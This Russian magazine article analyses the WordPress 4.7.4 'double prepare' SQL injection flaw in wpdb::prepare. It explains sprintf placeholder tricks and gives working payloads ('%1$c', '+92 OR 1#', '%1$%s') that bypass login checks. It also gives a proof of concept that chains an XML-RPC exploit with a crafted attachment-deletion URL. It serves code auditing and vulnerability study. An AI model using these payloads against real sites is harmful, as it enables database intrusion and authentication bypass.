 — биб лиоте ка для соз дания прод винутых диало говых окон.

UberUX

AnyMaps

NoiseView

Kotlin  Resources

App  Store  ScreenShot

K4Kotlin

Easydeviceinfo

SwipeBackLayout
ObjectBox

CFAlertDialog
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ВЗЛОМ

WordPress  —  самая  популяр ная  CMS

в  мире.  На  ней  работа ет  от  чет верти

до  тре ти  сай тов,  и  уяз вимос ти  в  ней

находят  час тень ко.  На  этот  раз  мы  раз‐ 

берем  логичес кую  недора бот ку,  которая

поз воля ет  про водить  широкий  спектр

атак — от обхо да авто риза ции и SQL‐инъ‐ 

екций  до  выпол нения  про изволь ного  кода.

Доб ро  пожало вать  в  уди витель ный  мир

инъ екций в WordPress!

Уяз вимость  кро ется  в  одном  из  методов  ядра,  который  отве чает  за  фор‐ 

мирова ние зап росов к базе дан ных. Для нее име ется хилень кий PoC, и я его

покажу,  но  глав ное  —  понять  саму  логику  ошиб ки,  почему  она  сущес тву ет

и  каким  обра зом  ее  мож но  про экс плу ати ровать.  Этот  матери ал  будет  осо‐ 

бен но  полезен  тем,  кто  про водит  ауди ты  исходни ков  при ложе ний,  которые

вза имо дей ству ют с базами дан ных, так как в статье будут зат ронуты методы

обна руже ния оши бок  в  кас томных абс трак циях для фор мирова ния и  выпол‐ 

нения зап росов к БД.

СТЕНД

Для  начала,  как  водит ся,  нам  понадо бит ся  тес товый  стенд.  На  момент

написа ния  статьи  уяз вимость  была  исправ лена  в  пос ледней  вер сии  WP —

4.8.3. Поэто му мы возь мем вер сию 4.7.4, там баг при сутс тву ет, и его мож но

потис кать.  Я  рекомен дую  вос поль зовать ся  докер‐кон тей нером,  в  котором

уже есть  все необ ходимое для  запус ка  уста нов ки CMS и не нуж но возить ся

с  нас трой ками  веб‐сер вера.  Бла го  в    «Докера»  есть  офи циаль ный

репози торий WordPress  и мож но  раз вернуть  рабочий  сер вер  с  нуж ной  вер‐ 

сией все го нес коль кими коман дами.

ха бе

docker run ‐p3306:3306 ‐d ‐‐rm ‐‐name some‐mysql ‐e MYSQL_ROOT_PASS
WORD="toor" mysql
docker run ‐p80:80 ‐d ‐‐link some‐mysql:mysql ‐‐rm ‐e WORDPRESS_DB_PA
SSWORD="toor" wordpress:4.7.4‐php5.6‐apache

Пос ле это го перехо дим в бра узе ре по IP «Докера» и наб люда ем зна мени тую

пятисе кун дную уста нов ку.

Ус танов ка WP

Так же  мы  соз дадим  нес коль ко  скрип тов  на  PHP,  они  понадо бят ся  нам

для понима ния и отладки раз ных сту пеней и вари антов экс плу ата ции. Все их

будет  объ еди нять  одно  —  заг рузка  ядра  WordPress.  Это  мож но  сде лать

при помощи сле дующе го кода:

<?php
# No need for the template engine
define( 'WP_USE_THEMES', false );
# Load WordPress Core
require_once( 'wp‐load.php' );

На этом при готов ления закон чены, прис тупа ем к сер фингу по  .ис ходни кам

РАБОТА С БД В WORDPRESS

Для пос тро ения и выпол нения зап росов к базе дан ных WordPress исполь зует

класс  .wpdb

/wp-includes/wp-db.php

38: /**
39:  * WordPress Database Access Abstraction Object
...
51:  */
52: class wpdb {

В  качес тве  драй вера  исполь зует ся  MySQLi  или  MySQL,  если  пер вая  биб‐ 

лиоте ка отсутс тву ет в сис теме.

/wp-includes/wp-db.php

632:        /* Use ext/mysqli if it exists and:
...
638:        if ( function_exists( 'mysqli_connect' ) ) {
639:            if ( defined( 'WP_USE_EXT_MYSQL' ) ) {
640:                $this‐>use_mysqli = ! WP_USE_EXT_MYSQL;
641:            } elseif ( version_compare( phpversion(), '5.5', '>='
) || ! function_exists( 'mysql_connect' ) ) {

642:                $this‐>use_mysqli = true;
643:            } elseif ( false !== strpos( $GLOBALS['wp_version'], 
'‐' ) ) {
644:                $this‐>use_mysqli = true;
645:            }
646:        }

Яд ро CMS исполь зует метод   для обра бот ки всех зап росов — это кас‐ 

томная реали зация так называ емых под готов ленных выраже ний или свя зыва‐ 

емых перемен ных (prepared statements).

prepare

/wp-includes/wp-db.php

1257:   /**
1258:    * Prepares a SQL query for safe execution. Uses sprintf()‐
like syntax.
1259:    *
1260:    * The following directives can be used in the query format 
string:
1261:    *   %d (integer)
1262:    *   %f (float)
1263:    *   %s (string)
1264:    *   %% (literal percentage sign ‐ no argument needed)
...
1291:   public function prepare( $query, $args ) {
1292:       if ( is_null( $query ) )
1293:           return;
...
1300:       $args = func_get_args();
1301:       array_shift( $args );
...
1309:       array_walk( $args, array( $this, 'escape_by_ref' ) );
1310:       return @vsprintf( $query, $args );
1311:   }

Ос новная  идея —  в  исполь зовании  шаб лонов  фор матиро вания  строк,  ана‐ 

логич ных  фун кции  ,  для  ука зания  типа  и  мес тополо жения  перемен ных

в зап росе. Имен но резуль тат работы   и воз вра щает prepare. А эта фун‐ 

кция — не что иное, как такой же  ,  толь ко в качес тве аргу мен та она

при нима ет мас сив парамет ров.

sprintf

vsprintf

sprintf

Нап ример,  поп робу ем  выпол нить  какой‐нибудь  зап рос  (тес товый  файл,

нас тало твое вре мя!).

$wpdb‐>prepare("SELECT id, user_login FROM $wpdb‐>users WHERE ID = 
%d", 1);

Зап рос к базе дан ных с помощью фун кций WordPress

В про цес се работы   заменя ется на параметр, который мы переда ли, в дан‐ 

ном  слу чае  это  еди ница.  В  резуль тате  мы  получа ем  дан ные  поль зовате ля

с  .

%d

ID=1
Но такие ста тич ные зап росы нас мало инте ресу ют, давай рас смот рим зап‐ 

рос с поль зователь ски ми дан ными.

$wpdb‐>prepare("SELECT id, user_login FROM $wpdb‐>users WHERE user_l
ogin = %s", $_GET['login']);

Поп робу ем передать в качес тве логина что‐то в духе стан дар тной SQL‐инъ‐ 

екции  —  .  Разуме ется,  такой  век тор  не  отра бота ет.  Про‐ 

бежим ся  по  пути  обра бот ки  зап роса.  Как  зап рос  и  параметр  попада ют

в метод  ?

admin'  or  1=1

prepare
Все  передан ные  парамет ры  сва лива ются  в  перемен ную  ,  а  зап рос

находит ся в  .

args
query

/wp-includes/wp-db.php

1300:       $args = func_get_args();
1301:       array_shift( $args );

Ес ли в качес тве аргу мен тов уже был передан мас сив, то исполь зуем его.

1302:       // If args were passed as an array ( in vsprintf), move 
them up
1303:       if ( isset( $args[0] ) && is_array($args[0]) )
1304:           $args = $args[0];

Те перь работа с зап росом. Если в нем стро ковые парамет ры уже обрамле ны

оди нар ными или двой ными кавыч ками, уби раем их.

1305:       $query = str_replace( "'%s'", '%s', $query ); // in case 
someone mistakenly already singlequoted it
1306:       $query = str_replace( '"%s"', '%s', $query ); // double
quote unquoting

За тем идет про вер ка зна чений типа float, которая не силь но нас инте ресу ет.

1307:       $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // 
Force floats to be locale unaware

Сле дующее регуляр ное выраже ние добав ляет оди нар ные кавыч ки к перемен‐ 

ным, которые дол жны быть стро ками. При этом не учи тыва ются экра ниро ван‐ 

ные плей схол деры типа  .%%s

1308:       $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); 
// quote the strings, avoiding escaped strings like %%s

Да лее про бега емся по передан ным аргу мен там фун кци ей  .escape_by_ref

1309:       array_walk( $args, array( $this, 'escape_by_ref' ) );

Фун кция,  как  ты  можешь  понять  из  наз вания,  выпол няет  экра ниро вание

передан ных в   зна чений. На самом деле это лишь обер тка с неболь шим

усло вием для  , которая про гоня ет все отправ ленные перемен‐ 

ные через фун кцию  .

args
_real_escape

mysqli_real_escape_string

/wp-includes/wp-db.php

1252:   public function escape_by_ref( &$string ) {
1253:       if ( ! is_float( $string ) )
1254:           $string = $this‐>_real_escape( $string );
1255:   }

/wp-includes/wp-db.php

1168:   function _real_escape( $string ) {
1169:       if ( $this‐>dbh ) {
1170:           if ( $this‐>use_mysqli ) {
1171:               return mysqli_real_escape_string( $this‐>dbh, $
string );
1172:           } else {
1173:               return mysql_real_escape_string( $string, $this‐>
dbh );
1174:           }
1175:       }

За тем дан ные уле тают в фун кцию  ,  которая встав ляет их в  зап рос,

и он воз вра щает ся поль зовате лю для даль нейших манипу ляций.

vsprintf

/wp-includes/wp-db.php

1310:       return @vsprintf( $query, $args );

По это му на выходе зап рос с псев доинъ екци ей будет кор рек тно экра ниро ван

и выпол нен.

Эк раниро вание потен циаль но опас ных дан ных с помощью prepare

С виду вро де бы все логич но и акку рат но. Какие же тут могут быть под водные

кам ни?

Продолжение статьи →

https://hub.docker.com/_/wordpress/
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ПЕРВЫЕ ПРОБЛЕМЫ
Об ратим прис таль ное вни мание на усло вие из строч ки 1303–1304.

/wp-includes/wp-db.php
1303:       if ( isset( $args[0] ) && is_array($args[0]) )
1304:           $args = $args[0];

Так‐так. Если пер вый эле мент из мас сива парамет ров, передан ных для встав‐ 

ки в зап рос, сам явля ется мас сивом, то WP почему‐то счи тает, что его и нуж‐ 

но исполь зовать для даль нейшей работы. А что, если в абс трак тном пла гине

в ваку уме име ется такой вот код?

test.php
$sql = "SELECT id, post_name, post_title, post_content FROM $wpdb‐>
posts WHERE id = %s AND post_type = %s";
$prepared_sql = $wpdb‐>prepare( $sql, $_GET['id'], 'post' );
print_r( $prepared_sql.PHP_EOL );
var_dump( $wpdb‐>get_results( $prepared_sql ) );

По задум ке авто ров поль зователь может пос мотреть запись из таб лицы пос‐ 

тов с любым передан ным  . То есть юзер может прос матри вать все записи,

у которых поле   в таб лице име ет зна чение  .

id
post_type post

Воз можный вари ант исполь зования уяз вимого кода

Но  что  будет,  если  вмес то  чис ла  в  парамет ре    мы  переда дим  мас сив?

На момент выпол нения стро ки 1303 перемен ная   будет выг лядеть так:

id
$args

Line 1303: $args = array(2) {
 [0]=>
 array(1) {
   [0]=>
   string(1) "1"
 }
 [1]=>
 string(4) "post"

}

Те перь  усло вие 

истинно и перемен ная при нима ет вот такой вид:

if  (  isset(  $args[0]  )  &&  is_array($args[0])  )

Line 1305: $args = array(1) {
 [0]=>
 string(1) "1"

}

Вто рого парамет ра и след прос тыл, одна ко зап рос остался тем же, и фун кция

 будет обра баты вать два плей схол дера. Так что если мы отпра вим

два  эле мен та  мас сива,  то  смо жем  манипу лиро вать  и  вто рым  парамет ром

в зап росе, хотя он был жес тко ука зан в коде. Нап ример, хочу вмес то записи

получить стра ницу с  . Да сколь ко угод но!

vsprintf

id=2

Пе реда ча мас сива парамет ров для модифи кации зап роса через prepare

Вот такое внед рение. Я думаю, не сос тавит боль шого тру да написать пар сер

таких потен циаль но уяз вимых мест в пла гинах или даже в самом ядре WP, что‐ 

бы  най ти  и  про верить  их  на  воз можную  экс плу ата цию.  Импакт  от  этой  уяз‐ 

вимос ти может быть раз ным: от получе ния чувс тви тель ных дан ных до RCE.

Продолжение статьи →
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ПРОБЛЕМЫ ПРОДОЛЖАЮТСЯ
При фор мирова нии стро ки с помощью   мож но исполь зовать мно гие
инте рес ные  плей схол деры.  В  рус ской  докумен тации  PHP  они  называ ются
«опи сате лями  пре обра зова ний»,  но  я  буду  исполь зовать  имен но  тер мин
«плей схол дер». Тут прос то огромный потен циал для твор чес тва, ведь спи сок
сов сем не огра ничи вает ся  ,  ,   и тому подоб ным.

sprintf

%d %s %f
Нап ример,  мы  можем  менять  порядок  аргу мен тов.  Для  это го  нуж но

исполь зовать   пос ле зна ка про цен та, где   — это номер аргу мен та.n$ n

print(sprintf('%d ‐ %d = 7', 3, 10)); // 3 ‐ 10 = 7
print(sprintf('%2$d ‐ %1$d = 7', 3, 10)); // 10 ‐ 3 = 7

Так же  нумера ция  аргу мен тов  поз воля ет  исполь зовать  нес коль ко  раз  одни
и те же парамет ры.

print(sprintf('%1$d ‐ %1$d = 7', 3, 10)); // 3 ‐ 3 = 7

Как  мы  можем  это  при менить?  Давай  пред положим,  что  у  нас  есть  пла гин,
в котором про исхо дит авто риза ция поль зовате ля таким вот спо собом:

test1.php
$prepared_login = $wpdb‐>prepare("user_login = %s", $_GET['login']);
print_r( $prepared_login.PHP_EOL );
$prepared_sql = $wpdb‐>prepare("SELECT id, user_login, user_pass 
FROM $wpdb‐>users WHERE $prepared_login AND user_pass = %s", $_GET['
pass']);
print_r( $prepared_sql.PHP_EOL );
var_dump( $wpdb‐>get_results( $prepared_sql ) );

Сна чала    обра баты вает  логин,  а  затем  готовый  кусочек  зап роса
с логином под став ляет ся в зап рос, который так же обра баты вает ся методом

. Такая логика поз воля ет нам делать некото рые инте рес ные вещи. :‐)

prepare

prepare
Ес ли мы  переда дим  в  качес тве  пароля  стро ку  ,  а  в  качес тве  логина

плей схол дер  , то пос ле обра бот ки методом   перемен ная 
 будет выг лядеть так:

test
%1$s prepare $pre‐

pared_login

string(19) "user_login = '%1$s'"

Даль ше вто рой   получит на вход стро куprepare

SELECT id, user_login, user_pass FROM $wpdb‐>users WHERE user_login =
'%1$s' AND user_pass = %s

Та ким  обра зом,  поле    пос ле  обра бот ки  при мет  то  зна чение,
которое мы переда ли в  . В резуль тате выпол нится  такой вот зап‐ 
рос:

user_login
user_pass

SELECT id, user_login, user_pass FROM wp_users WHERE user_login = '
test' AND user_pass = 'test'

Те перь с ним мож но про вора чивать вся кие хит рые манипу ляции. Нап ример,
есть инте рес ный модифи катор  .%c

%c  —  аргу мент  трак тует ся  как  целое  и  выводит ся  в  виде  сим вола
с соот ветс тву ющим кодом ASCII.

print(sprintf('2 %c 2 = 4', 0x2b)); // 2 + 2 = 4
print(sprintf('2 %c 2 = 4', 43)); // 2 + 2 = 4

Этот  модифи катор  обра баты вает  и  передан ный  параметр,  подоб но  тому
как    обра баты вает  стро ки.  Если  передать  на  вход  стро ку,  которая
начина ется с чис ла, то оно и будет исполь зовано, а все, что не каса ется чис‐ 
ловых дан ных, будет отбро шено.

intval

print(sprintf('2 %c 2 = 4', '43dropme')); // 2 + 2 = 4

Сле дующий при мер уже бли же к нашему слу чаю.

print(sprintf('two + two = %s', 'four')); // two + two = four
print(sprintf('two %1$c two = %s', '43four')); // two + two = 43four

Стро ка   в ASCII дала знак плюс, а   был прос то про игно риро ван.43 four

Ма нипу ляции с плей схол дерами фун кции sprintf

Те перь собира ем все зна ния вмес те для соз дания мега экс пло ита. Что нуж но
под ста вить  вмес то  пер вого  парамет ра,  что бы  мы  смог ли  управлять  зап‐ 
росом?

SELECT id, user_login, user_pass FROM wp_users WHERE user_login = '
param1' AND user_pass = 'param2'

Нап ример, мож но экра ниро вать кавыч ку при помощи добав ления обратно го
сле ша в пер вый параметр. Его код в десятич ной сис теме — 92. Поэто му вто‐ 
рой параметр дол жен начинать ся с 92, а пер вый — исполь зовать плей схол‐ 
дер  .%1$c

Мо дифи циру ем зап рос при помощи %c

Вы делен ная часть зап роса попада ет в усло вие   из‐за того, что мы
заэк раниро вали зак рыва ющую кавыч ку, которую добавил пер вый  .

user_login
prepare

user_login = '\' AND user_pass = '

Этот  обратный  слеш  не  будет  экра ниро ван  фун кци ей 
 прос то потому, что он появ ляет ся уже пос ле ее отра бот ки.

mysql_re‐
al_escape_string

То, что мы переда ем в параметр  , теперь ста нет частью SQL‐зап роса.
Такая вот инъ екция. Оста лось нес коль ко проб лем. Пер вая — незак рытая оди‐ 
нар ная  кавыч ка.  Это  на  самом  деле  и  не  проб лема  вов се:  как  вари ант,  мы
можем  ее  отбро сить,  исполь зуя  воз можность  ком менти рова ния  в  MySQL.
Добав ляем   в конец вто рого парамет ра.

pass

#

Ком мента рии помогут отбро сить ненуж ный хвост SQL‐зап роса

Вто рая  проб лема  пос ложнее  и  поин терес нее  —  это  валид ность  зап роса.
Сей час он невали ден, потому что пос ле стро ково го парамет ра сра зу же идут
чис ла. И вот тут дилем ма: от этих чисел зависит резуль тат работы плей схол‐ 
дера   и, соот ветс твен но, исход всей опе рации по внед рению в зап рос. Нам
нуж но  най ти  такое  зна чение,  которое  поз волит  про вес ти  инъ екцию,  но  не
будет делать зап рос невалид ным.

%c

Не вер ный син таксис SQL‐зап роса пос ле инъ екции

Как в MySQL мож но свя зать стро ку и иду щее за ней чис ловое зна чение? Пос‐ 
коль ку  MySQL  исполь зует  динами чес кую  типиза цию,  тут  могут  помочь
матема тичес кие опе рации.

Про водим матема тичес кие опе рации над стро ками и чис лами в MySQL

Плей схол дер    из    не  про тив  чисел  со  зна ками  и  отлично  с  ними
ужи вает ся.

%c sprintf

print(sprintf('two %1$c two = %s', '+43four')); // two + two = 
+43four

Ис поль зование целого со зна ком в модифи като ре %c

Те перь все сос тавля ющие успешной ата ки у нас на руках и мож но пус кать их
в ход.

Де лаем валид ный зап рос путем сло жения строк с чис лами

В  качес тве  пер вого  парамет ра  ука зыва ем  ,  а  в  качес тве  вто рого  —
солян ку типа  .

%1$c
+92 OR 1#

Ус пешная SQL‐инъ екция в WordPress через двой ной prepare

Ву аля! Мы обош ли авто риза цию и успешно заин жекти лись в зап рос.
То же самое мож но про вер нуть и с исполь зовани ем отри цатель ного чис‐ 

ла. Сути это не меня ет, прос то инте рес ная осо бен ность. Кто зна ет — вдруг
она тоже при годит ся.

ASCII — одно бай товая кодиров ка, и коды при меня ют зна чение от 0 до 255.
Поэто му чис ла, не вхо дящие в диапа зон от 0 до 255, при водят ся к нему. Если
ука зать чис ло боль ше 255, то из него нуж но вычесть 256, что бы узнать, какой
сим вол вер нет   пос ле обра бот ки. К отри цатель ному чис лу, наобо рот, нуж но
при бавить  256,  что бы  узнать,  какому  сим волу  соот ветс тву ет  дан ный  код.
Для  обратной  про цеду ры  зна ки  опе раций,  разуме ется,  сле дует  поменять.
Нап ример,  43  в  десятич ной  сис теме  —  это  ,  соот ветс твен но,  чис ла  299
(43+256) и ‐213 вер нут тот же самый сим вол.

%c

+

print(sprintf('2 %c 2 = 4', '299')); // 2 + 2 = 4
print(sprintf('2 %c 2 = 4', '‐213')); // 2 + 2 = 4

Осо бен ности работы плей схол дера %c из sprintf

По это му вто рой параметр из экс пло ита пре обра зует ся в такой вид: 
.

‐164 OR
1#

Еще один вари ант SQL‐инъ екции в WordPress через двой ной prepare

Продолжение статьи →
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ДРУГОЙ ВАРИАНТ ЭКСПЛУАТАЦИИ
Су щес тву ет и еще один вари ант экс плу ата ции двой ного  . На этот раз

пла гин содер жит вот такой кусок кода.

prepare

$prepared_creds = $wpdb‐>prepare("user_login = %s AND user_pass = %s"
, $_GET['login'], $_GET['pass']);
print_r( $prepared_creds.PHP_EOL );
$sql = "SELECT id, user_login, user_pass FROM $wpdb‐>users WHERE 
$prepared_creds AND user_status = %d";
$prepared_sql = $wpdb‐>prepare($sql, 0);
print_r( $prepared_sql.PHP_EOL );
var_dump( $wpdb‐>get_results( $prepared_sql ) );

Здесь  уже  не  получит ся  вос поль зовать ся  трю ком  из  пре дыду щего  раз дела,

потому  что  логин  и  пароль  обра баты вают ся  вмес те,  одним  ,

а парамет рами вто рого мы манипу лиро вать не можем, так как он не при нима‐ 

ет юзер дату.

prepare

Что бы раз решить эту проб лему, нуж но еще нем ного изу чить осо бен ности

обра бот ки  плей схол деров.  Из    ты  можешь  узнать  алго ритм,

по которо му они ищут ся в стро ке. Сей час нас инте ресу ет толь ко то, что пос ле

  сов сем необя затель но  дол жен  сра зу  идти  тип  ( ,    и  так  далее),  там

так же могут быть ука заны модифи като ры запол нения, вырав нивания, ширины,

да и сам модифи катор типа может быть ука зан несущес тву ющий. Нап ример,

рас смот рим такой вот код:

до кумен тации

%1$ %s %d

var_dump(sprintf('%A bottles', '1337')); // string(8) " bottles"

Так  как  типа    не  сущес тву ет,  вмес то  него  не  выводит ся  ничего.  И  при мер

номер два:

А

var_dump(sprintf('% bottles', '1337')); // string(17) "101001
11001ottles"

Знак про цен та сооб щил пар серу, что даль ше начина ется опи сание плей схол‐ 

дера. Пос ле сим вола про бела он натыка ется на  , а это модифи катор типа,

который  озна чает,  что  передан ный  аргу мент  будет  трак товать ся  как  целое

и  выводить ся  в  виде  дво ично го  чис ла.  Что  и  мож но  наб людать  в  воз вра‐ 

щаемой  стро ке.  К  сло ву  ска зать,  про белов  может  быть  любое  количес тво,

они прос то отбра сыва ются.

b

var_dump(sprintf('%       bottles', '1337')); // string(17) "101001
11001ottles"

Те перь нем ного о вырав нивании и ширине. Мы можем задавать минималь ную

дли ну  стро ки,  которую  будет  воз вра щать  фун кция  .  Если  дли на

резуль тиру ющей стро ки мень ше  ука зан ной,  то она допол няет ся опре делен‐ 

ными сим волами. По умол чанию — про бела ми с левой сто роны. Для ука зания

минималь ной  дли ны  нуж но  добавить  целое  чис ловое  зна чение  пря мо

перед модифи като ром типа.

sprintf

var_dump(sprintf('%       50snakes', '1337')); // string(55) 
"                                              1337nakes"

Об рати  вни мание,  что  для  пар сера  этот  модифи катор  выг лядит  как  ,

а   — это уже прос то стро ка. То есть бук ва   из сло ва   выс тупила

в роли модифи като ра типа.

%50s
nakes s snakes

На деюсь,  пока  все  понят но.  Даль ше  зада ем  сим вол,  который  будет

исполь зовать ся для добива ния стро ки до  ука зан ной дли ны. Это мож но сде‐ 

лать с помощью оди нар ной кавыч ки, пос ле которой идет нуж ный сим вол.

var_dump(sprintf('%     \'#50snakes', '1337')); // string(55) 
"##############################################1337nakes"

Пе ред всей струк турой плей схол дера может сто ять сколь ко угод но про белов,

но  она  целиком  дол жна  находить ся  в  одном  мес те.  Разуме ется,  все  то  же

самое акту аль но и для нумеро ван ных плей схол деров.

var_dump(sprintf('%1$     \'#50snakes', '1337')); // string(55) 
"##############################################1337nakes"

Еще нес коль ко осо бен ностей исполь зования плей схол деров в sprintf

Те перь воз вра щаем ся к коду WP. Нас инте ресу ет стро ка 1308.

/wp-includes/wp-db.php
1308:       $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); 
// quote the strings, avoiding escaped strings like %%s

Все   в передан ной стро ке обо рачи вают ся в оди нар ные кавыч ки, кро ме  .

Зна чит, если мы переда дим конс трук цию вида  , в резуль тате она будет

выг лядеть  как  .  А  при  пов торной  обра бот ке  методом    фун‐ 

кция   вос при мет эту часть как целый плей схол дер, где

%s %%s
%1$%s

%1$'%s' prepare
vsprintf
 — номер атри бута, который нуж но под став лять;• %1$

  —  сим вол,  которым  нуж но  будет  допол нить  стро ку,  если  она  будет

мень ше ука зан ной дли ны. В дан ном слу чае этим сим волом ста новит ся %;

• '%

 — модифи катор типа атри бута. В дан ном слу чае стро ка.• s

В  ито ге  у  нас  оста лась  лиш няя  оди нар ная  кавыч ка,  которая  в  резуль тате

и попада ет в  зап рос. Рас смот рим на нашем при мере. В парамет ре «логин»

отпра вим  . Пос ле пер вого   мы получа ем усло вие 

.  Во  вто ром    получит ся

такой зап рос:

%1$%s prepare user_login =
'%1$%s'  AND  user_pass  =  'idontknow' prepare

SELECT id, user_login, user_pass FROM wp_users WHERE user_login = '%1
$'%s'' AND user_pass = 'idontknow' AND user_status = %d

Пос ле   он при мет окон чатель ный вид:vsprintf

SELECT id, user_login, user_pass FROM wp_users WHERE user_login = '0'
' AND user_pass = 'idontknow' AND user_status = 0

Ес ли заг лянуть в   MySQL, то мож но узнать, что две иду щие под‐ 

ряд  оди нар ные  кавыч ки  в  стро ке,  которая  обер нута  в  оди нар ные  кавыч ки,

пре обра зуют ся в одну (так как пер вая экра ниру ет вто рую).

до кумен тацию

Вы дер жка из докумен тации MySQL о стро ках и исполь зовании кавычек

в них

Го воря  про ще,  в  нашем  при мере  из  таб лицы  будут  выбирать ся  записи,

у которых поле  .user_login = "0' AND user_pass = "

Еще один вари ант внед рения в зап рос при исполь зовании двух методов

prepare

Все,  что  оста лось  сде лать,  —  это  прев ратить  зап рос  в  валид ный.  Тут  все

очень прос то — обыч ная инъ екция.

И еще один вари ант SQL‐инъ екции в WordPress через двой ной prepare

Здесь при таил ся еще один спо соб экс плу ата ции. На самом деле в качес тве

пер вого парамет ра (login) нам дос таточ но прос то передать  , что бы триг‐ 

гернуть  уяз вимость.  Тог да  пос ле  пер вого    получа ем  усло вие

, где

%1$
prepare

user_login = '%1$' AND user_pass = 'OR+1#'
 — номер атри бута, который нуж но под став лять;• %1$

 — сим вол, которым нуж но будет допол нить стро ку, если она будет мень‐ 

ше ука зан ной дли ны;

• '

 — модифи катор типа атри бута.• A

Мо дифи катор  типа  получа ется  невалид ным,  и  весь  плей схол дер 

прос то выб расыва ется. Это зна чит, что мы изба вились от кавыч ки, в резуль‐ 

тате к БД ухо дит такой зап рос:

%1$'  A

SELECT id, user_login, user_pass FROM wp_users WHERE user_login = 'ND
user_pass = 'OR+1#' AND user_status = 0

Оче ред ной вари ант SQL‐инъ екции в WordPress через двой ной prepare

Продолжение статьи →

http://php.net/manual/ru/function.sprintf.php#refsect1-function.sprintf-parameters
https://dev.mysql.com/doc/refman/5.7/en/string-literals.html
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PROOF OF CONCEPT

Пе рехо дим  к  реаль ным  экс пло итам.  Что бы  обна ружить  потен циаль но  уяз‐ 
вимые  учас тки,  нам  нуж но  про чесать  исходни ки  WordPress  на  пред мет
исполь зования двой ного  . Это мож но сде лать любым удоб ным спо‐ 
собом,  я  выб рал  ста тичес кий  ана лиза тор  исходных  кодов  Checkmarx.  Он,
конеч но,  топор ный и  угло ватый,  зато в нем реали зован собс твен ный скрип‐ 
товый язык CxQL, который поз воля ет выпол нять гиб кий поиск по исходни кам.

 поможет най ти инте рес ные мес та для даль нейше го ана‐ 
лиза.

prepare

Не боль шой скрип тик

CxList prepare = All.FindByMemberAccess("*", "prepare");
CxList influ = All.InfluencedBy(prepare);
result = prepare.FindByParameters(influ);

Ис поль зование ана лиза тора исходни ков Checkmarx для поис ка потен ‐
циаль но уяз вимых мест в WordPress

Сре ди  кучи  лож ных  находок  мы  нат кнем ся  на  инте рес ней шую  фун кцию
, она уда ляет метадан ные, которые отно сят ся к раз личным

объ ектам CMS: ком мента риям, атта чам, пос там и подоб ным вещам.
delete_metadata

/wp-includes/wp-db.php

287: /**
288:  * Delete metadata for the specified object.
...
306:  */
307: function delete_metadata($meta_type, $object_id, $meta_key, $
meta_value = '', $delete_all = false) {
...
366:    if ( $delete_all ) {
367:        $value_clause = '';
368:        if ( '' !== $meta_value && null !== $meta_value && false 
!== $meta_value ) {
369:            $value_clause = $wpdb‐>prepare( " AND meta_value = 
%s", $meta_value );
370:        }
371: 
372:        $object_ids = $wpdb‐>get_col( $wpdb‐>prepare( "SELECT 
$type_column FROM $table WHERE meta_key = %s $value_clause", $
meta_key ) );
373:    }

Как видишь, ког да перемен ная   уста нов лена, выпол няет ся кусок
кода, в котором име ется двой ное исполь зование метода  . Пер вое —
в стро ке 369, вто рое — в стро ке 372, с уже обра ботан ными дан ными 

.

$delete_all
prepare

$val‐
ue_clause

По  умол чанию    объ явля ется  как  ,  поэто му  ищем  все
мес та,  где  исполь зует ся  фун кция    c  пятым  аргу мен том,
уста нов ленным  в  .  Так же  дол жно  выпол нять ся  усло вие  из  стро ки  369:
чет вертый аргу мент  . Под ходящий  вызов  есть  в методе

.

$delete_all false
delete_metadata

true
$meta_value != ''

wp_delete_attachment

/wp-includes/wp-db.php

4839: /**
4840:  * Trash or delete an attachment.
...
4857:  */
4858: function wp_delete_attachment( $post_id, $force_delete = false 
) {
...
4892:   // Delete all for any posts.
4893:   delete_metadata( 'post', null, '_thumbnail_id', $post_id, 
true );

Из  наз вания  и  опи сания  ста новит ся  понят но,  за  какую  часть  в  сис теме  она
отве чает.

Ме татег   хра нит ся в базе, он отве чает за при вяз ку обложки
к записи. Поэто му нуж но его сна чала как‐то туда записать. Для это го понадо‐ 
бит ся  поль зователь  с  пра вами,  поз воля ющи ми  заг ружать  и  уда лять  меди‐ 
афай лы, нап ример  . Далее алго ритм такой:

_thumbnail_id

author
за ходим от поль зовате ля;•
заг ружа ем кар тинку и запоми наем ее ID;•
соз даем  запись  в  бло ге  и  выбира ем  нашу  кар тинку  как  обложку  (ее  ID
запишет ся в метатег  );

•
_thumbnail_id

сох раня ем и запоми наем ID соз данной записи.•

Да лее  нуж но  изме нить  зна чение  соз данно го  метате га  и  записать  туда  пей‐ 
лоад. Сде лать это не так‐то прос то. Тре бует ся пла гин для экспор та и импорта
записей либо нуж но вос поль зовать ся багом в XML‐RPC API, который при сутс‐ 
тву ет в вер сиях WP 4.7.4 и ниже. Ого, так ведь у нас как раз 4.7.4!

Уяз вимость зак люча ется в том, что из‐за некор рек тной филь тра ции поль‐ 
зователь ских дан ных с помощью XML‐RPC API мож но записы вать невалид ные
дан ные  в  парамет ры  объ ектов  CMS.  Экс пло ит  можешь  ска чать  у  меня
в репози тории.

Итак, мы заг рузили кар тинку и соз дали новый пост, их ID рав ны 5 и 6 соот‐ 
ветс твен но. Теперь дело за спло итом.

php xmlrpc_exploit.php http://wp.visualhack/xmlrpc.php author qazwsx
edc 6 5 sqli_here

Ис поль зуем XML‐RPC‐экс пло ит для записи нуж ного пей лоада
в _thumbnail_id

Он успешно отра ботал, и в таб лице теперь находит ся нуж ное нам зна чение. 
Ос талось  выпол нить  пей лоад,  для  это го  нуж но  получить  CSRF‐токен 

  на  стра ницы  ,  а  затем  перей ти
по ссыл ке

_wp‐
nonce http://wp.visualhack/upload.php

view‐source:http://wp.visualhack/wp‐admin/upload.php?_wpnonce=912f84
726f&_wp_http_referer=%2Fwp‐admin%2Fupload.php&action=delete&
mode=list&media[]=5 %1$%s sqli_here

В качес тве парамет ра    ука зыва ем то зна чение,  которое записы вали
в  .

media[]
_thumbnail_id

Ус пешная экс плу ата ция WordPress 4.7.4 через уда ление атта ча

Мы успешно вкли нились в зап рос, даль ше уже тебе решать, как исполь зовать
эту инъ екцию.

ПАТЧ

Как  ты  понима ешь,  эта  проб лема  была  быс тро  устра нена  и  для  всех  пос‐ 
ледних веток CMS сущес тву ет патч. Вот, нап ример,   с исправ лени ем
уяз вимос ти  в  вер сии  4.8.2.  Добав лена  еще  одна  замена  по  регуляр ному
выраже нию,  приз ванная экра ниро вать  все  типы,  которые не  вхо дят  в белый
спи сок d, s и F (целые, стро ки и чис ла с пла вающей точ кой).

ком мит

